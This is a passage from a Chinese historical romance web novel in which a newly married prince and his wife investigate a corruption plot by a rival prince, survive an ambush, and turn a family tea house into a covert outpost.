毕竟第一次成婚,说不紧张都是假的。
况且对方还是自己心仪之人。
不知过了多久,沈清欢好似听到有脚步声向屋中而来。
她不免紧张得捏了捏衣被。
那人缓缓而来。
龙凤烛闪耀着金色的暖光,傅之行向沈清欢靠近。
他手执玉簪,轻轻挑起那遮挡住面庞的红盖头—
二人四目相对,眉目间柔情婉转。
沈清欢红唇微启,“靖王…”
傅之行睫毛轻轻抖动着,将手指抵于女子朱唇上,摇了摇头。
“不对,你我已成婚,应当唤我什么?”
沈清欢望着烛光下的傅之行,高挺的鼻梁,一双含情似水的眼,直勾勾地盯着她瞧…
当即心头就一颤,这厮怎如此好看。
沈清欢面露含羞,红晕悄然染上了面庞,眸中一阵潋滟。
垂着头,按住心中荡漾,片刻后,小声地道,“夫君。”
傅之行应答着。
随后接过系着红绳的酒杯,二人手臂相扰,共饮交杯酒。
红账随之落下。
傅之行望着女子泛红的耳尖,承诺道,“小满,愿你我执子之手,与子偕老。”
只是他们不知,那夜的端王府不比靖王府差些热闹。
婚后。
沈清欢与傅之行回门后,正打算去远方游玩一番。
傅之行却暗中收到一封密信。
打开查看后,傅之行不禁拧起了眉。
沈清欢见傅之行神情严肃,不由得有些担心。
“发生何事了?”
傅之思索片刻后,将信予其查看。
沈清欢一脸疑惑,接过信后。
只见“贪腐数额巨大”,“牵扯相府”,“彻查”,几个明晃晃得字眼刺痛了沈清欢的眼。
“不可能,虽说其愚孝,可家父政绩上一向正直清明,定不会做出偷鸡摸狗之事。”沈清欢着急辩驳着,语气焦急万分。
“上面自是知晓得,这背后之人实属阴险,此案重大,小满,我外出时日,你在家护好自己......”
傅之行边安抚其情绪边交代着些琐事。
沈清欢却突然打断其言语。
“为何单单让你去探查此事?”
“尚未可知,是父皇的意思。”
她同傅之行刚成婚,相府便遭贪污案牵连,且还指派傅之行查办,说是巧合她定是不信的。
“我与你一同前去。”
傅之行不允。
但耐不过其坚持,也是知其执拗得性子。
最终还是应允了。
随后,傅之行调遣了几个亲卫,乔装后,拿着已知得线索就欲出发了。
此案不仅为简单的贪腐案,背后牵扯众多—
各地官银数量货不对等,民间一夜间出现许多外籍商贾。
且似乎皆与某皇家人员有所往来。
而如今,现天子身处病中,各皇子皆虎视眈眈。
若不查清,只怕后患无穷。
现其神秘之人
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将此案与相府牵扯进来,无非是怕他傅之行依靠相府之力,得权罢了。
真是可笑至极。
傅之行原以为,人不犯我,我不犯人。
可如今其既已欲拉他下水,那也休怪他无情。
他傅之行一向不是贪生怕死之鼠辈。
下乡之路泥泞坎坷。
沈清欢着一身素衣坐于马车中。
傅之行见其奄奄之态,既心疼又无奈。
“你何苦趟这一趟浑水?”
沈清欢伸出纤细的手指,抚摸着少年王爷微蹙的眉头。
“傻子,你一人外出,我岂能放心?”
马车很快便到达其临时住所—
一家早已荒废的农家小院。
小院已提前派人打扫过。
虽简小,却也显得格外温馨。
傅之行先行下马车,伸手搀扶着沈清欢,打趣着,“请吧,王妃。”
二人简单收拾过后,便拿起已收集到的线索琢磨着。
现下只知那神秘人化名“房昊”,在此处留有众多田亩。
“房昊既不方便亲自露面,其产业必请有专人打理。”
“你是说?”
二人思路一致。
拟定好方案后,就直奔村中账房先生住处。
似乎早有预料般。
见来者后,账房先生可谓是,一问三不知。
傅之行只觉荒唐,“李先生,照你所言,你只代管田亩分红,却从未见过其主家?”
李先生镇定自若,脸不红心不跳。
“是。”
“分明在扯谎,那你倒是说说,你代管的钱财是何去处!”
那账房先生也是个有脾气的,见其如此执着。
干脆将傅之行二人轰出门外。
此番不通。
二人只得重新规划。
正巧此时,暗卫于景携一妻女上门。
见到自家闺女,账房先生已然意识到,面前这二人并非等闲之辈。
常言道,抓蛇要抓七寸。
见自己唯一的骨肉现已处在他人手中,此时便也顾不得其他。
转身就在他那算盘的夹层中,取出一密条。
交予面前二人。
目的已达成。
傅之行拿起纸条,只见其上字迹似是沾过水渍。
隐约才得已看清,“小桥,人牙子,王府。”
这究竟何意?
沈清欢突然意识到什么般。
在傅之行耳畔悄声说些什么。
得到许可后,以一面纱遮掩面庞,着素衣出门。
这小村虽说不大,但却样样俱全。
沈清欢只身来到村中的八卦之处—
村口。
那边早已聚集着许多的大爷大妈,吃茶的,下棋的,唠家长里短的。
也是个顶热闹的地。
沈清欢混入其中,详装外地来此处寻亲的。
不过只言片语便将惹得身旁两阿婶热泪盈眶。
沈清欢见时机已到,含糊其词道—
“也不知是哪个丧良心的人牙子,将我那阿妹拐走,你说我人生地不熟,去哪处寻她!”
那两阿婶也是热心肠的。
当即便愤愤不平地要去为沈清欢评理。
“我就说她平日个鬼鬼祟祟些作甚,原以为只是贩些正道生意,原是这不上道的!”
说罢就领着沈清欢向那人牙子住处走去。
傅之行在暗处见沈清欢进展如此顺利,心中生出些许自豪之感—
不愧是他的娘子,如此聪明。
一路跟着来到那人牙子之处。
两阿婶因家中尚有琐事,便先离去。
傅之行从暗处现身。
二人模切对视。
推开那人牙子的大门,刚欲进门。
却听到一阵求救声。
不好!
5. 暗查贪腐案
二人向院内奔去。
只见三四个黑衣蒙面之人,正手举绳索套于那人牙子脖颈处。
见院中来人,人牙子伸手求救。
她面色已呈现灰白惨色,嘴唇更是毫无血色。
傅之行飞身与那黑衣蒙面之人进行打斗。
沈清欢则趁机来到那人牙子身旁,将其拖至屋内。
傅之行是练家子,黑衣蒙面人并不占优势。
经过两三轮打斗,其只得落荒而逃。
解决完黑衣人后。
二人赶紧将那人牙子放于床中,为其检查伤势。
幸好他们来得及时。
人牙子并无大碍,稍稍休息片刻,便已缓过神来。
见到二人,人牙子眼中热泪直流,一个跪地,就要给其磕头。
二人赶忙上前搀扶,道明来意后。
人牙子恍然大悟。
她并非无情之人,前受那人之恩,为其瞻前马后。
现事情败露,要被其灭口。
那她也无需替他遮掩。
人牙子喃喃说来。
将自己近几年为其保管的地契尽数拿出,供傅之行与沈清欢二人细细查看。
二人接过地契,只见那所属人之名,确是写于“房昊”之名。
“房昊是何人?你可曾见过?”
“他是我贩卖的一个奴隶,那日那人,要重金买下他,用作私下交易的工具。”
傅之行了然。
是了。
这些放不得明面上的交易,背后必定有个替死鬼。
“你口中那人又是何人?”
“一个王爷,听他属下所称,应是......”人牙子突然倒地。
有暗箭!
黑衣人折返,且似乎有备而来。
一阵打斗后,终究是寡不敌众。
傅之行欺身将沈清欢置于怀中,右腿将屋中桌椅置翻,抵于身前。
傅之行与沈清欢滚入屋中密室。
二人昏迷。
漆黑的密室中,寂静森冷。
只能听见二人沉重的呼吸声。
外面的搜寻并未停止—
能清晰的听见黑衣人叫骂之声,但却始终无从寻到机关入口。
只能作罢。
不知过了多久。
一人踉踉跄跄,摸着一隐蔽按钮。
石门打开。
只见那人坡着脚,颤颤巍巍。
手持一煤油灯,点亮了本漆黑的地,强忍着肩背上的疼痛,她硬是撑着走至昏迷二人身侧。
从怀中取出一白瓷瓶,将其中液体倒入二人口中。
片刻后,傅之行挣扎着从地上坐起,稍缓后。
连忙查看沈清欢的伤势。
见她依旧毫无知觉,傅之行急得身后出了一层薄薄的冷汗。
“小满,小满!”
傅之行不停地呼唤着。
“放心,她死不了。”不知从何传来一阵女声。
傅之行眯着眼。
这才发现,原是那人牙子。
人牙子伤势也不轻,肩膀中的那一箭,似是已发炎溃烂。
她嘴唇干枯,眼中写着自我嘲弄。
如她所言,沈清欢很快便苏醒,二人起身,向其道谢。
“大恩不言谢,本也是你们救我一命,如今不过还予你们罢了。”
人牙子吃力地说道。
见其状态不对,沈清欢想将其带回歇脚处医治。
人牙子摆摆手,“不必,箭中有毒,你们自行离开罢。”
人牙子自知那歹人不会为自个儿留活路。在傅之行与沈清欢离开前,将那“房昊”留存在此的地契全数交予其保管。
另在一青砖后,掏出一密匣子。
打开后,当傅之行与沈清欢瞧出是何物后,皆倒吸一口凉气。
那匣子中所摆放的—
正是应有端王傅恒名讳的令牌,人牙子见二人吃惊之态,忍不住嗤笑出声。
“隐藏够深吧。”
“你此番举动,意欲何为?”
听到发问后只见那人牙子面露凶狠的神色,咬牙切齿地,口中所言皆是想将那傅恒碎尸万段。
大抵是劳神伤身,又加以怒火攻心。
人牙子就突然倒地不起了,口中涌出汩汩鲜血。
傅之行忙用手遮掩着沈清欢的眼。
傅之行与沈清欢着人为人牙子安葬后。
傅之行与沈清欢回到小屋,先是将得到的证据一一藏好。
经历了这么一遭,傅之行担忧沈清欢身体吃不消。
将其哄睡后,自个儿在一旁研究起令牌。
如今已得初步线索,可如何将端王一党一网打尽,尚还需从长计议,端王一党已由暗至明,现只需拿捏住其把柄。
为避免打草惊蛇,傅之行决定先按兵不动。二人且在小屋中休整了几日。
沈清欢起初还时不时发问,何时开展调查?
却总是被傅之行以含糊之词,搪塞过去,罢了,也许,其已有对策。
沈清欢也落得个清闲,每日在屋中做个普通农妇般。
日出而起,伴着小桥流水,看闲鱼野鹤。
望着傅之行清朗的眼,沈清欢依偎着,心中想着,若时光能一直停留于此,也是极好的。
五日后。
于景携一包裹上门。
作为府中的暗卫,于景做事一向是麻利爽快的,今日去难得的,如此焦灼。
意识到情况不对。
于景连忙上前呈上东西,就连交接包裹时,面上还染着忧愁之色。
傅之行见此情形,心中也已有几分猜测,沈清欢感受到气氛的沉重。
起身去小厨房沏了一壶热茶。
置于二人面前后,葱葱玉手盖在傅之行手背上,示意安慰。于景将近日所行,一五一十告知。
原来,依着人牙子手中真“房昊”的卖身契,于景寻到了其老宅。
此人曾为一教书先生,家中也有贤妻在侧。日子本可以过得和和美美,可不知受何人挑拨,竟染上了赌瘾。
俗话说,一入赌门深似海,他本就毫无技术可言,自然是输得个倾家荡产。
若就此收手,洗心革面也到罢了。
可那引他入门之人,竟时常,再三威逼利诱,房昊没能守住底线,终究是陷进去了。
不仅将妻子卖给了那人,最后将自个儿也搭了进去。
据坊间传闻所说,引他赌博之人,正是个人牙子。
一切都对上了,坊间传闻中的那人牙子正是前不久,他们所相遇那人。
估摸着,她必定是领了傅恒的命,设计让房昊入局。
当拿到其卖身契后,便顶着其名号,在各路贪污受贿,倘若哪天事情败露—
一切罪名也皆可推到“房昊”身上。
当真是好算计。
可若要人不知,除非己莫为,端王心狠手辣,可正也其过河拆桥—
傅之行二人才能从人牙子手中探出如此多的线索。
现当务之急是寻到房昊的家人,若可让其以人口失踪之由报官,便可探到端王头上。
毕竟按当朝律法,买卖奴隶虽合法合规,但其也有探望亲人的权利。
难点也就在此。
于景经过几日的调查,发觉房昊其母早已搬离原住址。
就如同人间蒸发般,不知所踪。
此计显然不通。
傅恒心机深沉,一定早就将这一切都安排妥当。
傅之行揣测,依照如今趋势来看。
唯有将这水搅浑,才能扰其心智。
夜深风静。
端王府笼罩在夜色里,幽静深重。
一纨绔男子蹲于塘边,手中盛着些许鱼食,漫不经心地往池中挥洒着。
另有一黑人蒙面之人,毕恭毕敬地跪于一旁。
那黑衣人口中正说着些什么。
男子听得有些厌烦,将手中鱼食尽数砸向黑衣人。
怒斥,“一群废物!”
月光拨开迷蒙的云雾,洒向了塘面,照着那男子的脸—
正是当今端王—傅恒。
此次伏击傅之行未
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果,反倒让其抓住了自个的把柄,其不免恼怒。
可他不知,好戏才刚刚开始。
为避免被傅恒追踪到足迹,傅之行与沈清欢不敢在此地久留。
二人趁着夜色,转移了住所,来到一家猎户家。
于景早已勘察过,此地人烟稀少,极少有人往来,且猎户早年便已收编于傅府,算是他们的暗线。
见来人,猎户忙出来行礼。
“王爷。”
“李猎头,不必多礼。”
知晓他们要来此居住,李猎头早已让妻子收拾好里屋供其休息。
李猎头的妻子听到动静,也满脸笑意地从厨房中走出。
同各位都打了个招呼,随后,便招呼他们入座。
“来的早,不如来的巧。”
“来尝尝,我相公今日刚从山中打来的野山鸡,与野兔!”
李嫂是个热情好客的。
再加上,她得知傅之行就是李猎头追随之人。心中又多了几分敬畏。
这年头,闹饥荒的闹饥荒,官官相护,若当初没有傅之行的助力,只怕她夫妇二人早已饿死在街头。
她深知傅之行是个好人,所以当李猎头告知其他以后跟着傅之行办事时。
可谓是全力支持。
沈清欢坐上桌,看着面前丰盛的晚饭。
这还是她第一次进山中,但望着猎户夫妇二人热络张罗的神态。
沈清欢感受到了家的温暖。
夜晚,沈清欢团在被褥中,神采奕奕地打听着猎户夫妇的往事。
傅之行边为其整叠次日衣裳,边回答其疑惑。
半晌后,沈清欢就理清了几人间的关系故事。
当年,傅之行受傅恒的迫害,被逼至穷山僻壤中解决灾荒。
做得好自然是有功劳的,但倘若做得不好—
靖王府也会处于风雨飘渺中。
傅恒故意设计推荐傅之行为人选,毕竟这个烂摊子,几乎无人愿接。
傅之行明白自己并无退路,唯有尽力一试。
后傅之行带领乡亲们开山僻壤。
在不知多少个日夜的尝试后,发掘出一宜地的谷物。
后续就是傅之行成功解决灾荒这一难题。
自然也受到当地乡亲们的支持和拥戴。
李猎头便是其中之一,因奄奄一息之时,傅之行从自己口粮中节俭出的—
一碗杂粮汤,才让他们夫妇二人那日寒冷之夜,得以支撑下去。
立了功的傅之行,也很快成为端王的眼中钉。
本想借机铲除傅之行。
却不想弄巧成拙,让其成为有功臣。
沈清欢恍然大悟。
“难怪他如此针对你,背地里干了那么多腌臜事,还想拖相府下水!”
沈清欢心中一股烦闷气—
皇帝怕是早有察觉,这才派傅之行前来操办。
这倒成了偷鸡不成蚀把米了。
见沈清欢气撅撅的姿态,傅之行上手捏了捏其发红的耳垂。
“小满气性这么大啊。”
“你都让人那么欺负了,怎么还像个没事人一般!”
傅之行掩了掩其被角,安慰着。
“若因小人劳气伤神,岂不得不偿失?况且,自古以来,有几腌臜人能自保?”
是非公正自在人心。
傅之行不信其能猖狂一世。
时间流逝地飞快。
转眼间,二人已在李猎户家住了半月有余。期间,二人化名为端王手下,督查政务—
该说不说,那人牙子给的令牌还真好用。
二人利用此令牌,多次出入当地商贾府中,以及—
朝廷官员宅邸。
因其身份的特殊性,傅之行与沈清欢二人皆乔装打扮了一番。
要说可有成效?
那就算让相国公亲自辨认,都看不出他二人是谁。
二人持令牌,狐假虎威的来到已知与傅恒有染之人府邸。
详装端王来查看其交易进展。
话不点破,点道为止。
6. 成为茶馆老板娘
那些个官贾见令牌后,倒也不曾怀疑,加上其二人手中所持地契。
皆以为是端王派出察探的。
也有聪明的反问—
“不是说近日风声紧,端王让按兵不动吗?怎个又突地来查探?”
“端王做事需向你禀告?”
傅之行语调低沉,手中匕首反射出刺眼的寒光。
那人见傅之行眸中的阴冷,不敢再言。
皇子终究是皇子。
与生俱来的气质与气场就足以用之威慑。
沈清欢瞧着其有模有样的演技,嘴角就没下来过,好在有一面纱遮掩着。
既然暂时动不了傅恒,那便先拔其爪牙,灭灭威风。
搜寻到这些个官员压榨百姓的证据后,二人将此交予于景保管。
据沈清欢对傅恒的了解,其知晓此事后,必定不会善罢甘休,同傅之行商榷后,二人一改往日作风。
改走水路!
于景一拿到证据,就上京发密信于皇帝。
本就动荡不安的朝堂,因这桩桩丑事更加混乱。
大臣们皆人人自危。
清廉之人自然无愧于心,也不怕受到波及。
平常就搞些小动作的,无一不战战津津。
谁人都不知那密信上,是否有自己的罪行,只能暗自祈祷。
而看完信中所有内容后的皇帝可谓—
龙颜大怒!
一个个百姓的衣食父母,竟在背地里苟着些下三滥的勾当,不是随意增加税收,就是肆意克扣条款,官商勾结!
这哪是父母官?
分明是吃人肉喝人血的厉鬼!
皇帝最痛恨的就是贪官,最不能容忍的就是腐败!
尚且不谈现年份收成不好,百姓生活不易,就当是繁盛之极,也绝不能做出此番行径!
一声号令。
那些个已有明确实证的罪臣,皆入诏狱,等待发落。
未有实证,但含有嫌疑者,罚三年俸禄,以儆效尤。
消息从京城传来之时,沈清欢正挽起袖子宰杀鲫鱼。
走水路最大的优势便是可,自行捕捞,傅之行自制了个鱼竿,虽说半天只上钩了一条。
但对二人来说,也已足足有余。
傅之行先获知消息,一切尽在掌握之中。
但真正传来之时,傅之行心中还是十分欢喜的,故作神秘地倚着沈清欢的肩头。
“娘子,今日我并非只捕获一条鲫鱼,大鱼也上钩了。”
“?”
沈清欢尚未反应过来。
扭过头望着傅之行上挑着的眉。
心下了然。
“成了?”
傅之行点头。
沈清欢心中那堵了两三日的石头终于落地了。
大鱼是上钩了,自有皇帝处置。
他们面前的鲫鱼那可得自食其力了。
受沈清欢的调使,傅之行负责为其打下手。
沈清欢娴熟地进行下料,油煎,翻面......最后将配菜全数倒入锅中,倒入清水,等待开锅。
船上的夜景是寂静的。
只听得到船夫划桨的水流声。
二人倚靠着,喝着热气腾腾的鱼汤。
看着远处岸边的灯火。
倒也是个好风景。
水路虽慢,但胜于安全。
一路上确实不曾遭受埋伏。
归家前,傅之行提前打点好暗卫在暗处予以防备,以备不时之需。
不是他矫情。
端王一党遭受重创。
按理来说,短时间内必不会冒险与他作对。
此次端王元气大伤,失去其好几位得力干将。
若以比方来谈。
那就是猛虎被拔掉了些许爪牙。
这个敏感时机,聪明人是不会出来当靶子的。
但今时不同往日。
沈清欢是与他一起的。
他傅之行自是不畏惧的,但就怕万一。
他不敢拿沈清欢的安危去赌。
他赌不起,也不可能去赌。
沈清欢刚下船,就被安排进傅府的马车中。
与以往不同的是。
这辆马车内饰有股淡淡的清香。
沈清欢嗅觉一向灵敏。
但这次却着实不知为何物。
傅之行望着她左顾右盼的模样,倾身俯问。
“怎么了?”
“夫君,你可闻到有何特殊气味?”
鼻子这么灵?
傅之行今日派来接行的是傅家茶馆的备用马车。
为掩人耳目,也为去茶楼进行一番整改。
看其不解神色。
傅之行将其揽入怀中,在耳侧一一道明。
马车很快就来到傅家茶馆。
这还是成婚后,沈清欢首次过来。
以往都是以客官身份来赏茶品检的。
如今身份一个大转变。
望着往日熟悉的面孔,笑眯眯地唤自己—“王妃。”
一抹红晕悄然攀上面颊。
傅之行在柜台与于景说些个什么。
沈清欢与伙计们打过招呼后,就去傅之行身侧待着了。
知其害羞腼腆。
傅之行交待些事宜后,便领着沈清欢向二楼走去。
傅家茶馆一楼为大堂,供人聚集喝茶,二楼则设立众多独立包厢,环境较为私密。
傅之行领着沈清欢到自己的卧房。
这是由包厢改造而成的。
小巧却精致。
若用一句话来形容应当是—
麻雀虽小,五脏俱全。
沈清欢踏入房中,引入眼帘的是—床榻,书桌,梳妆镜......
几乎同寻常卧房毫无区别。
就连女儿家用的胭脂水粉都应备齐全,拿起一瞧—
竟也都是她素日中爱用的。
她知是傅之行的安排。
心中流过思思甜蜜,她张开手臂紧紧搂住傅之行的腰身。
那腰身精瘦而饱满,抬眼向其望去,眼前是一张俊朗的面庞。
嗅到的也全是沁人心脾的茶香。
“傅之行,你真好。”
沈清欢勾起唇,心里头暗自啡啡,前世都错过了何等人间尤物啊。
几日舟车劳顿实属辛苦,沈清欢很快就进入梦乡。
傅之行为其掩好门窗,随后就下楼进行整改,今日茶楼并不对外开放。
茶楼中小厮也皆换为傅之行的暗卫。
傅记茶楼,京城里数一数二的。
但平日里只做些茶叶买卖,并无其他勾栏瓦舍的生意。
也因此在京中口碑尚佳。
傅之行本不想将茶楼卷入他与端王之争。
但,眼下两人关系已如水火,许多事他已不便在明处做。
依照那傅恒的性子,必是派不知多少个眼线在傅府旁盯着。
眼下,他唯有伪装。
交待过事项后,暗卫们便领命开始执行计划。
只见本各个蒙面之人,皆已换好小厮着装。
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>举止神态中也并无半分疏漏。
到底是他傅之行培养出的!
傅之行很是满意。
“嗯?你们这是在作甚?”
楼梯上传来沈清欢睡眼惺忪之声。
只见其边揉着眼边踏着楼梯。
傅之行上前搀扶,他望着其松松垮垮之态,是真担忧其一个不留神,从楼梯上摔下。
沈清欢也乐得受其照顾,手掌置于傅之行温暖的手中,走至大堂。
心中隐隐觉得好似哪里不对劲,却又道不出个所以然。
眨巴着眼眸,向傅之行求助。
傅之行手指轻绕其发稍,在手中把玩着,口中却是不肯透风的。
“小满,自己细细琢磨。”
他也是有意逗小姑娘的。
沈清欢思索许久,还是未曾有个结果。
认输般向傅之行撒娇。
傅之行侧过身在其耳畔悄悄告知,得知真相后,沈清欢发出一阵又一阵的唏嘘。
她只知这世上却又易容术。
但不知竟会发生于自个儿身边。
“这着实厉害啊!”
处于刀尖上行走,必然是需要真本事。
为避免被他人发现端倪—
傅之行将茶楼原先的小厮们送予外地隐蔽处,并给予其重金供其生活。
暗卫们则凭易容术,化身原茶楼小厮。
这样一来。
现傅府茶楼,一为茶楼,二为傅之行与沈清欢的暗桩。
沈清欢听罢后,不由得佩服起傅之行。
从挖掘传闻中的易容之术,到独自培养出众多傅府暗卫,从设立傅府茶楼到如今设立暗桩,这一切必定不是一时兴起。
不经过长久的计谋,岂能如此顺畅?
傅之行,你还有多少惊喜是我不知道的?
暗桩已然建立。
暗卫们一边为客官们端茶送水,一边与前来接头之人,进行消息传递。
贪腐之案只伤其一时,若想成功扳倒端王,还需更多明确指向。
在尚未得到更多线索之前,他们还需守株待兔。
一切皆已备好,只待其自投罗网。
端王?虽暂时称霸一方,可此时论输赢尚且为时过早。
且走着瞧吧。
沈清欢是越看越发心生欢喜,怎么个前世没察觉这傅之行是个有勇有谋还有颜的人呢,真是错过错过。
沈清欢挑着眉细细打量着办公的傅之行,暖色调的烛光下,衬托得傅之行的眉眼毛茸茸的,挺拔的鼻梁也显得愈发俊美。
傅之行正写着字,隐隐觉得身旁有道目光直盯着自己,侧过身去看,正巧捕捉到沈清欢闪着星星的眼。
傅之行详装严肃,“好看否?手中书翻几页了?莫非为夫脸上有字?”
沈清欢腆着脸凑到傅之行怀里,“书哪有夫君好看……”
烛火印着二人,闪着暖暖的光,一夜温存入眠。
傅之行醒的较早,不忍打扰枕边人的好梦,便独自轻手轻脚地起来洗漱,用早膳。
今日茶楼正式开始营业,已然休息了许久,茶楼的老顾客们早就念念叨叨这一口了,搂着三五好友就坐下来吃茶了。
沈清欢是被热闹劲儿惹醒的,昨个晚上陪傅之行折腾了许久,刚起床腰间还有些酸痛。
坐起身,用手揉了揉,口中不禁咿呀作声,旁边却传来一阵嗤笑。
瞧着那始作俑者—傅之行一脸故作无辜状的姿态,沈清欢悄悄在心底念着傅之行的小话。
真是个登徒子,不知羞。
7. 一生一世
极力克制着那隐隐的酸痛,沈清欢小步伐地来到一楼茶馆大厅。
已是日上三竿,茶楼中散客皆已落座,此刻真是较忙的时候。傅之行尚在柜台处盘着近日的入账,这本是安排给沈清欢的活计。
“咦,夫人您醒了?”傅府的王嬷嬷不知何时站在她身后,冷不丁的问候,让沈清欢着实吓了一跳。
“嬷嬷早啊。”
正想悄摸地移到傅之行身旁,可那王嬷嬷眼睛倒是尖的厉害。
“夫人,你腿脚怎么了?今儿个怎地有些坡脚?”
沈清欢脸“唰”地就红了,递了个眼神给傅之行,暗示速速给她解围。
傅之行与之相比,就淡定许多。在接收到自家夫人连环的夺命求助后,起身走至其身旁。
傅之行弯下腰给沈清欢揉着脚踝,口中随意打发着王嬷嬷,“没事儿,嬷嬷,夫人昨日夜里为我缝制衣裳,许是夜间昏黑,没留神,崴着脚了。”
“哎呦,王爷,那您可得好生照顾夫人,要不是为了你,也不至于挨这个罪。”
“是该好生照料照料。”
傅之行故意贴近沈清欢耳边,用仅二人可听的声音问,“你说是吧,夫人?”
沈清欢知他是在逗自己,女儿家脸皮终究是薄的,推攘着傅之行起身,自个儿赶紧挪到柜台处盘账去了。
这傅家茶楼,自打修业整顿后,生意是更加火爆。
沈清欢在柜台前,算盘珠子打得砰砰响。她属实是想不通这傅家茶楼看似平价的茶水,为何会两极分化,一类进价寻常,另一类标注着“密”的茶包进价却如此高?可她却从未见过那所谓的密茶?
傅之行交予她的毛利账本中也并无密茶的踪迹,如若按照其这么算,傅家账本定是有问题的。
这傅家茶楼是越做越响亮,按理说不会有如此低级错误,沈清欢早年间跟着相府专聘的教书先生学过些门道,如此看来——
莫非?傅家茶楼在做假账!
阿弥陀佛,阿弥陀佛
左瞧瞧,右瞧瞧,这傅之行也不是个会做假账之人,是一场乌龙,还是有内鬼,又或是?
傅之行总感觉有人在背后盯着自己,回头一看,自家夫人端着个脸,拧着眉,像是在思考何重要机密似得望着自己。见他转过身,也不躲避目光,倒是盯得更甚,像要把他“看透”般,傅之行突觉毛骨悚然。
他当然不知,沈清欢现脑海中已脑补出一场精妙绝伦的大戏。
见其眼神愈发不对劲,傅之行知自家夫人又不知去哪神游了。有些哭笑不得,拿着柜台前的笔杆子轻轻敲打着沈清欢的脑门,手顺势捏了捏她软糯的脸颊。
手感像凉糕,倒是蛮不错的。
“你干嘛!”
沈清欢心中愤愤不平,这个傅之行,昨晚上折腾她还不够,现又对她动手动脚,光天化日之下,朗朗乾坤,这是要干嘛!要干嘛!
傅之行却先发制人。
“夫人盘账可盘好了?交予我瞧瞧?”
一时间,沈清欢有些无语凝嗻。她是有些心虚的,刚刚光顾着想七想八,倒把正经事给忘却了。
不过也好,趁此机会好好打探清楚。
沈清欢神采奕奕地向傅之行打着包票,账单将在午膳后交予他。
茶楼早晨忙碌的点已过,暗卫们收罗好茶具摆件,几个傅府派来管事的嬷嬷也皆去小歇片刻。沈清欢见四下里无人,悄摸地拿起刚算好的账单,夹在袖扣里,挽着傅之行就回二楼房中。
傅之行有些蒙,自家夫人这又是打得什么主意?
刚进屋,沈清欢确认无人后,将门栓一上,转身就面露焦急的神色,将心中疑惑与担忧一一告知其,临了还故作好言相劝道,“夫君,若你有何难处定要如实告知我!”
这是作甚?
傅之行理了理思绪,思考片刻后,大概得知自家夫人所言为甚,心中是既欢喜,又无奈。
傅之行拿起沈清欢整理好的账本,细细查看着。这账本倒是不错,细致且明了,除却密茶那部分空缺,其他皆已盘算好。
不过,似乎自家夫人已然对茶楼误解颇深。
沈清欢起初是焦急的,可道出疑虑后,并未见傅之行有何动向,倒是淡定地为自己沏了一壶茶,端于自个儿跟前。沈清欢当然按耐不住,“你倒是说话呀?怎地就我一人上火,茶楼不是傅家名下的吗?”
傅之行也不忍逗面前的可人儿了,自个儿家的祖宗,别惹恼了。
他从袖口掏出一把小巧的金钥匙,起身牵起沈清欢的手,来到屋中那面白墙跟前。
“这是作甚?”
傅之行将沈清欢围在身前,用手触摸着白墙,最终在一块略凸起的位置停下,用力按了下去,“夫人请看。”
沈清欢从未想过这面普通至极的白墙,竟也暗藏玄机,只不过方才那一下按动,便使墙身发生移动,而此时此刻,呈现在她眼前的,是一紫檀木匣子。
接过傅之行手中那把金钥匙,在匣子上的锁芯里捣鼓了两三下,那匣子便打开了。
沈清欢拿出里面所装载的几张泛黄的纸张,着一看着。
很快,她的疑虑便已解开。
这些纸张并非其他,而是自傅家茶楼创办初期便立下的规矩。这傅家茶楼创办之由是为给普通百姓提供歇脚处。
那段时日受端王一派风气的影响,这京中的茶楼是愈发狗眼看人低,不仅将茶叶价格定为高价,且不允寻常百姓出入,背地里更是做些勾栏瓦舍的勾当,腌臜事是一件又一件。
傅之行不屑这些二流子做派,既如此,那傅家便提供一家平价茶楼罢,不为牟利,只为百姓,傅家茶楼也因此赢得京中百姓的赞许,跻身京中茶楼前列。
不过,傅之行也不是纯发善心,这傅家茶楼虽不靠卖茶盈利,却有其他赚钱的法子。
“好啊你个傅之行,为何不早告知于我!”沈清欢故作生气状。
“夫人别恼,我本昨日诉说,但不是......”
提及于此,沈清欢连忙打断傅之行,这个登徒子,嘴里没个正经。沈清欢摆摆手,示意其带自个去看那真正盈利之事。
险些又被他绕进去了,还好话题转得快。
跟着傅之行走,沈清欢也才知晓原这茶楼还有第三层。
这密道也做得太过于细致了,竟不是从二楼走,而是从一楼的密室直通而去。这楼如此之高,表面却看不出有第三层,也是难为那铸楼之人了。
刚踏入茶楼三层,沈清欢便被眼前一幕给震撼到,目光所及之处竟全是晒干好的茶包,茶叶倒是寻常的,各类品种应有尽有,只不
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过外层包裹的金箔纸倒是很有讲究,茶包皆用金箔纸加以包装,已银粉封口,并在其上标注买家,细细查看,买家竟是些达官显贵。
“真正的盈利之物,正是这些。”傅之行拿起一茶包递与沈清欢面前。
所以,并非茶楼不牟利,只是其在做两类生意。
一为百姓茶,物美价廉。
二为官禄茶,价格高昂。
沈清欢早前听说过,京中的贵人们喝茶讲究,不屑于与寻常百姓共饮同类,偏要那些个复杂的工艺讲究品,她致之前是不大喝茶的,所以对茶事也不大懂。
不过如今这一切倒也说得通了。
“那毛利的账本呢?也是单独分开的?”
“夫人聪明,因买家身份特殊,便单独搁置了,这也是昨个想告知你的,一时间忘却了。”
傅之行用手指绕着沈清欢的发,把玩着,语气也带有些哄的意味。
沈清欢终于松了口气,虽说她心中是相信傅之行的,可如今今时不同往日,茶楼已然成为暗桩,她实在担心端王一党前来暗算。
乌龙已解,沈清欢心情尚佳,想着也到快用午膳的点,便大手一挥,挽着傅之行的手臂就往京城名楼——燕来香而去。
沈清欢笑眯眯地望着傅之行,一脸慷慨地让他尽情点,今日所有吃食她来付银子。
傅之行有心逗她,“那我若是将所有吃食都各来上一份,夫人也应允?”
沈清欢懒得与其逗嘴皮子,潇洒地回着,“那是自然,不过还是不要浪费为好。”
“呦,我当是谁呢,原是相府的沈大小姐啊!”
一阵女子尖锐的嬉笑声由远而近。
见来人后,沈清欢脸色一下便沉了下去。
傅之行望着那穿着艳丽的女子,又瞧见自家夫人的脸色,心中有数,站起身挡在沈清欢面前,俯视着那女子。
那脸上涂着厚厚一层脂粉的女子,不是他人,正是尚书家千金——姚之桃。
姚之桃见傅之行如此护着沈清欢,更是气不打一处来,她同沈傅之行乃青梅竹马。
原瞧着沈清欢一纸退婚书递给傅之行,心里头有了些期盼的念想。
哪曾想这沈清欢不按常理出牌,又黏上去了。
姚之桃眼中怒火焚烧,似是要将沈清欢给撕裂,口中也尽是些嘲讽之词。
见其不为所动,竟将身子靠在傅之行肩膀上,口中呢喃着预做其妾室。
